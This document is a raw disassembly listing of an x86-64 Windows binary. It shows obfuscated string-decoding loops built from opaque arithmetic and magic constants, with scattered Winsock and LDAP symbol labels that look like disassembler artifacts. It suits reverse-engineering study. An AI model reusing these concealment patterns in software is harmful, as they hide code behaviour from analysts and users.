add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x66
movzx eax, byte [rbp + rsi + 0x7e0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093002
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140093657
movabs rcx, 0xf3f961bfeb2c4b8
add rcx, rsi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 8
movzx eax, byte [rbp + rsi + 0x7e0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093002
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009368d
movabs rdx, 0xae73604e17046c90
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093799
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400936b1
movabs rdx, 0x4da72a802f561468
add rdx, rsi
mov ecx, reloc.WS2_32.dll_sendto
jmp 0x14009393e
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400932fc
movabs rdx, 0x8c0ebee45ff96418
mov ecx, Ordinal_45
jmp 0x140093872
mov byte [rbp + rsi + 0x7e0], r10b
inc rsi
jmp 0x140093002
movabs rdx, 0x2b428916784b0bf0
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rsi + 0x7e0]
add r10b, dl
add r10b, r11b
jmp 0x140093906
movabs rdx, 0x7adc6e2f8473dfdc
add rdx, rsi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, byte [rbp + rsi + 0x7e0]
sub r10b, 4
jmp 0x140093796
movabs rcx, 0x1038f3686d1c247a
add rcx, rsi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x56
movzx eax, byte [rbp + rsi + 0x7e0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093002
movabs rdx, 0x7105293654ca7ca2
add rdx, rsi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x6e
add r10b, dl
movabs rdx, 0xa2a960bc0a8849d2
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
add cl, cl
add cl, dl
add cl, r11b
movzx eax, cl
mov byte [rbp + rsi + 0x7e0], al
inc r9
add rax, r9
sub rsi, rax
jmp 0x14009398b
movabs rdx, 0x216b441d48a1a8b6
add rdx, rsi
movzx eax, dl
and al, r11b
mov ecx, 3
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093002
movabs rdx, 0x329d94d224272cf2
add rdx, rsi
mov ecx, Ordinal_50
jmp 0x1400938c6
movabs rcx, 0xe303afb917fe5906
add rcx, rsi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2a
inc r9
dec rsi
inc rsi
jmp 0x140093002
movabs rdx, 0x9369caa00bd5851a
mov ecx, Ordinal_41
jmp 0x140093872
movabs rdx, 0xf436006df383dd42
mov ecx, Ordinal_26
add rdx, rsi
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movabs rdx, 0x3759689f236a1fa
add rdx, rsi
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rsi + 0x7e0], cl
inc r9
dec rsi
inc rsi
jmp 0x140093002
lea rdx, [rsi + rcx]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
and al, r11b
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rsi
inc rsi
jmp 0x140093002
movabs rdx, 0x5685122cf09617e
add rdx, rsi
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x72
add r10b, dl
movabs rcx, 0x530f7ba2fe5f75e6
add rcx, rsi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x4a
add r11b, r10b
add r11b, cl
mov byte [rbp + rsi + 0x7e0], r11b
jmp 0x140093950
lea rdx, [rsi + rdi]
mov ecx, 1
movzx eax, r11b
and al, dl
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rsi, rcx
inc rsi
jmp 0x140093002
movabs rdx, 0xc700bcbe9e6611ce
add rdx, rsi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, bl
movabs rcx, 0xca765348909cb3c8
add rcx, rsi
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x78
add cl, r11b
mov byte [rbp + rsi + 0x7e0], cl
inc r8
mov rax, r13
sub rax, r8
add rsi, rax
movzx eax, byte [rbp + rsi + 0x7e0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093002
movabs rcx, 0x7766d7a5923d3de2
add rcx, rsi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2e
movzx eax, byte [rbp + rsi + 0x7e0]
add rax, r9
add rsi, rax
inc rsi
jmp 0x140093002
movabs rcx, 0x5de01de89c7238e2
add rcx, rsi
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x2e
jmp 0x140092fe5
lea rcx, [rbp + 0x1773928]
jmp 0x140093a49
lea rcx, [rbp + 0x14ba31e]
jmp 0x140093a49
lea rcx, [rbp + 0x7e0]
mov rdx, r14
call fcn.140035c60
lea rdx, [0x140227e40]
lea rcx, [rbp + 0x178]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x58]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006bc00
mov rdi, rax
mov byte [rbp + 0x808], 0x78
mov byte [rbp + 0x809], 0x5a
mov byte [rbp + 0x80a], 0x57
mov byte [rbp + 0x80b], 0x5c
mov byte [rbp + 0x80c], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x80d], WSACleanup
mov byte [rbp + 0x80e], 0x5f
mov byte [rbp + 0x80f], 0x5d
mov byte [rbp + 0x810], 0x59
mov byte [rbp + 0x811], Ordinal_79
mov byte [rbp + 0x812], 0xb5
mov byte [rbp + 0x813], reloc.WLDAP32.dll_Ordinal_35
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x814], xmm0
mov dword [rbp + 0x824], eax
mov word [rbp + 0x828], ax
mov byte [rbp + 0x82a], al
movabs rsi, 0x2578083f3943f233
movabs r12, 0x6f7f9ede7070f327
movabs r14, 0x8a4b42c70d54062d
movabs r15, 0xab4c050a2c721fdf
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14009493f
movzx r11d, byte [rbp + rbx + 0x808]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140094933
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140093ba3
lea rcx, [rbx + r12]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x11
jmp 0x140093be0
je 0x1400948a9
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009480c
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400947d4
lea rax, [r9 + 5]
cmp r8, rax
je 0x140094785
lea rax, [r9 + 8]
cmp r8, rax
je 0x140094731
nop dword [rax]
cmp r9, rbx
ja 0x140094927
lea rax, [r9 + 3]
cmp r8, rax
jae 0x140093c15
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x65
add r10b, dl
jmp 0x140093c60
lea rax, [r9 + 1]
cmp r8, rax
je 0x140094709
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400946e4
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400946c0
lea rax, [r9 + 7]
cmp r8, rax
je 0x14009469c
lea rax, [r9 + 9]
cmp r8, rax
je 0x140094667
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x1400942dc
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x1400942b4
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x140094287
lea rax, [r9 + 4]
cmp r8, rax
je 0x140094258
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009422f
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140094206
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x1400941cd
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x1400941a9
lea rax, [r9 + 5]
cmp r8, rax
je 0x140094185
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x140094150
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x140093c70
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 1]
lea rax, [r9 + 0x2a]
cmp r8, rax
jb 0x140094902
lea rax, [r9 + 8]
cmp r8, rax
jb 0x1400948dd
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140093e62
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x140093e43
lea rcx, [r9 + 3]
cmp r8, rcx
jb 0x140093e24
lea rax, [r9 + 1]
cmp r8, rax
jb 0x1400940e8
lea rax, [r9 + 9]
cmp r8, rax
jb 0x14009408a
lea rax, [r9 + 0x64]
cmp r8, rax
jb 0x14009403b
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14009400c
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140093c70
mov r8, rcx
lea r9, [rcx + 0x20]
lea rax, [r9 + 0x10]
cmp rcx, rax
ja 0x140093fd7
lea rax, [r9 + 0x200]
cmp rcx, rax
ja 0x140093fb3
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x140093f8f
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x140093f5a
lea rax, [r9 + 0x40]
cmp rcx, rax
ja 0x140093f31
lea rax, [r9 + 0x1000]
cmp rcx, rax
ja 0x140093f0b
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x140093edc
lea rax, [r9 + 0x2a]
cmp rcx, rax
ja 0x140093eae
lea rax, [r9 + 8]
cmp rcx, rax
ja 0x140093e86
lea rax, [r9 + 0x42]
cmp rcx, rax
ja 0x140093c70
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x61]
jmp 0x140093c70
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x3b
add r10b, dl
jmp 0x140093c60
lea rdx, [rbx + r15]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x19
add r10b, dl
jmp 0x140093be0
movabs rcx, 0xcc4cc74d4b903991
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 9
jmp 0x140093b65
movabs rdx, 0x2bc041f9ca1f9198
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x28
add r10b, dl
jmp 0x140094750
movabs rcx, 0x4cc1043ce93dab4a
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 6
inc r9
dec rbx
inc rbx
jmp 0x140093b52
movabs rdx, 0x6dc1c680085bc4fc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x140093b52
movabs rdx, 0x8ec288c32779deae
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_35
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
jmp 0x1400947a5
movabs rdx, 0xafc34b064697f860
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400947f4
movabs rcx, 0xd0c40d4965b61212
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x7e
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140093b52
movabs rcx, 0xf1c4cf8c84d42bc4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
jmp 0x14009482d
movabs rcx, 0x12c591cfa3f24576
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
jmp 0x140094860
movabs rcx, 0x33c65412c3105f28
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x18
movzx eax, byte [rbp + rbx + 0x808]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b52
movabs rcx, 0x64839ba90db9f65
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x3d
mov byte [rbp + rbx + 0x808], r10b
inc rbx
jmp 0x140093b52
movabs rcx, 0x2748fbfdaff9b917
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x5f
cmp r9, 0x28
jb 0x14009402b
movabs rdx, 0x6cd94ca0cd00e18a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea r10d, [rcx + rcx]
jmp 0x140094750
movabs rcx, 0x4849be40cf17d2c9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7f
cmp r8, 2
jae 0x140094619
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x140094535
movabs rdx, 0xb6e0e340042de27e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x72
add r10b, dl
jmp 0x14009405a
movabs rdx, 0x694a8083ee35ec7b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x5d
add r10b, dl
lea rax, [r8 + r9]
cmp rax, 0x200
je 0x140094647
lea rax, [r9 + 0x2a]
cmp r8, rax
jbe 0x14009441b
movabs rdx, 0x9168db00cae9f04b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xd
add r10b, dl
jmp 0x1400940a9
movabs rcx, 0xe0d0317b5797ad32
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5e
movzx eax, byte [rbp + rbx + 0x808]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b52
movabs rcx, 0x1d0f3be76b5c6e4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3c
jmp 0x140094860
movabs rcx, 0x22d1b60195d3e096
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1a
jmp 0x14009482d
movabs rdx, 0x43d27844b4f1fa48
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140093b52
movabs rdx, 0x64d33a87d41013fa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x1400947f4
movabs rdx, 0x85d3fccaf32e2dac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x1400947a8
movabs rdx, 0xa6d4bf0e124c475e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
dec rbx
inc rbx
jmp 0x140093b52
movabs rcx, 0xc7d58151316a6110
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x140093b52
movabs rdx, 0xe8d6439450887ac2
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x4e
add r10b, dl
jmp 0x140094750
lea rax, [r9 + 0x42]
cmp r8, rax
jae 0x140094305
lea rdx, [rbx + r12]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x11
jmp 0x140094108
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009434c
movabs rdx, 0x4af0107e7287e466
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x808]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140094381
movabs rdx, 0x8ee8bf8344bb102
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0xe
add r10b, dl
jmp 0x14009482d
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400943b3
movabs rcx, 0xc6ed0771f60f7d9e
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x52
jmp 0x1400947f4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400943e5
movabs rdx, 0xa5ec452ed6f163ec
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x74
jmp 0x1400947a5
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14009410b
movabs rdx, 0x42e9fe65799716d6
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140094750
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140094450
movabs rdx, 0x706818bdabcbd699
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
sub r10b, 0x2f
add r10b, dl
jmp 0x140094750
inc rax
cmp r8, rax
jne 0x14009448a
movabs rcx, 0x4f67567a8cadbce7
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x51
inc r9
dec rbx
inc rbx
jmp 0x140093b52
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400944c2
movabs rcx, 0x2e6694376d8fa335
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
sub r10b, 0x73
dec rbx
inc rbx
jmp 0x140093b52
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140094504
movabs rcx, 0xcb644d6e1035561f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x27
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140093b52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400940a9
movabs rcx, 0xaa638b2af1173c6d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 5
jmp 0x14009482d
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009457c
movabs rdx, 0x95e020fce50fc8cc
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
movzx eax, byte [rbp + rbx + 0x808]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b52
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400945b2
movabs rdx, 0x53de9c76a6d39568
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14009482d
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400945e3
movabs rcx, 0xf0dc55ad49794852
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3e
jmp 0x1400947a8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009405a
movabs rdx, 0x8dda0ee3ec1efb3c
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_46
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x140094750
movabs rdx, 0x4bd88a5dade2c7d8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
lea r10d, [rcx + rcx]
add r10b, byte [rbp + rbx + 0x808]
add r10b, r11b
jmp 0x1400947a5
movabs rcx, 0x2ad7c81a8ec4ae26
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub cl, al
lea r10d, [rcx - 0xa]
jmp 0x14009482d
movabs rcx, 0xfc7133e321350af1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x69
movzx eax, byte [rbp + rbx + 0x808]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b52
movabs rcx, 0x3e72b8695f713e55
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x53
jmp 0x14009482d
movabs rcx, 0x80743cef9dad71b9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0xf
jmp 0x1400947f4
movabs rdx, 0xa174ff32bccb8b6b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x13
jmp 0x1400947a5
movabs rdx, 0x47745fc1a25d881
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x79
add r10b, dl
jmp 0x140094750
movabs rcx, 0x4678ca8258620be5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x43
movabs rcx, 0xdc58eb7f3d71d4b1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 0x29
add r11b, cl
mov byte [rbp + rbx + 0x808], r11b
inc r9
dec rbx
inc rbx
jmp 0x140093b52
movabs rdx, 0xa97b114bb5bc58fb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x23
add r10b, dl
movabs rcx, 0xbb58293c1e53baff
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 7
add cl, r10b
add cl, r11b
mov byte [rbp + rbx + 0x808], cl
jmp 0x1400947f4
movabs rcx, 0xca7bd38ed4da72ad
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x45
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140093b52
mov r11, rdx
movabs rcx, 0xc7d58151316a611
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x77
movabs rdx, 0x9a5766f8ff35a14d
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x1b
add cl, dl
movzx eax, cl
mov byte [rbp + rbx + 0x808], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x9d705d76fa69474
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
sub r11b, 0x2c
add r11b, cl
mov byte [rbp + rbx + 0x808], r11b
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x808]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b52
movabs rcx, 0x4e7edc9b5152d975
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
sub r10b, 0x33
movzx eax, byte [rbp + rbx + 0x808]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140093b52
movabs rcx, 0xed4d89906aae5343
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x2b
jmp 0x140093b50
movabs rcx, 0xe4e4bd389cc6cf5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x4d
jmp 0x140093b40
lea rcx, [rbp + 0x163663c]
jmp 0x140094946
lea rcx, [rbp + 0x545963]
jmp 0x140094946
lea rcx, [rbp + 0x808]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140227ec0]
lea rcx, [rbp + 0x198]
call fcn.140002680
mov rdx, rax
mov rcx, qword [0x14022e160]
call fcn.14006a810
mov rcx, rax
call fcn.14006bc00
mov rsi, rax
mov byte [rbp + 0x830], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x831], __WSAFDIsSet
mov byte [rbp + 0x832], __WSAFDIsSet
mov byte [rbp + 0x833], reloc.WS2_32.dll___WSAFDIsSet
mov byte [rbp + 0x834], 0xe1
mov byte [rbp + 0x835], __WSAFDIsSet
mov byte [rbp + 0x836], 0xe1
mov byte [rbp + 0x837], 0xe2
mov byte [rbp + 0x838], Ordinal_41
mov byte [rbp + 0x839], 0xf9
mov byte [rbp + 0x83a], 0xdb
mov byte [rbp + 0x83b], 0xdd
mov byte [rbp + 0x83c], 0xdd
mov byte [rbp + 0x83d], 0xa5
mov byte [rbp + 0x83e], 0xa9
mov byte [rbp + 0x83f], 0x3f
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x840], xmm0
mov word [rbp + 0x850], ax
mov byte [rbp + 0x852], al
movabs r14, 0xd5ba1c9ac7d9f80e
movabs r15, 0x6e49c986988a5db2
movabs r12, 0xd3d689d960ef8306
movzx r11d, byte [rsp + 0x40]
nop dword [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor edi, edi
movabs rdx, 0xcd399fd69bcd6d56
cmp rdi, 0x23
jae 0x140095713
movzx ebx, byte [rbp + rdi + 0x830]
mov r10, rbx
cmp r8, rdi
ja 0x140095707
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140094a94
lea rcx, [rdi + rdx]
mov rax, rbx
and rax, rcx
imul r11, rax, 0xfffffffffffffffe
add r11, rbx
add r11, rcx
sub r11b, 0x5a
jmp 0x140094ac0
je 0x14009567b
inc rax
cmp r8, rax
je 0x14009560b
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400955ae
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009554a
cmp r9, rdi
ja 0x1400956fb
lea rax, [r9 + 0x1000]
cmp r8, rax
jae 0x140094af3
lea rcx, [rdi + r14]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
jmp 0x140094b40
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x1400954f8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400954d5
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009549d
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009547a
lea rax, [r9 + 8]
cmp r8, rax
je 0x140095441
nop dword [rax]
nop dword [rax + rax]
lea rax, [r9 + r8]
cmp rax, rdi
jbe 0x1400951ae
nop dword [rax]
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x140095186
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14009515a
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x140095131
lea rax, [r9 + 4]
cmp r8, rax
je 0x140095109
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400950e6
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400950b3
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14009508b
lea rax, [r9 + 9]
cmp r8, rax
je 0x140095063
lea rax, [r9 + 1]
cmp r8, rax
je 0x14009502f
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x140094b50
lea r8, [r9 + 0x400]
lea r9, [r8 + 3]
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x1400956d8
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x1400956b0
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x140094d41
lea rax, [r9 + 8]
cmp r8, rax
jb 0x140094d27
lea rax, [r9 + 0x80]
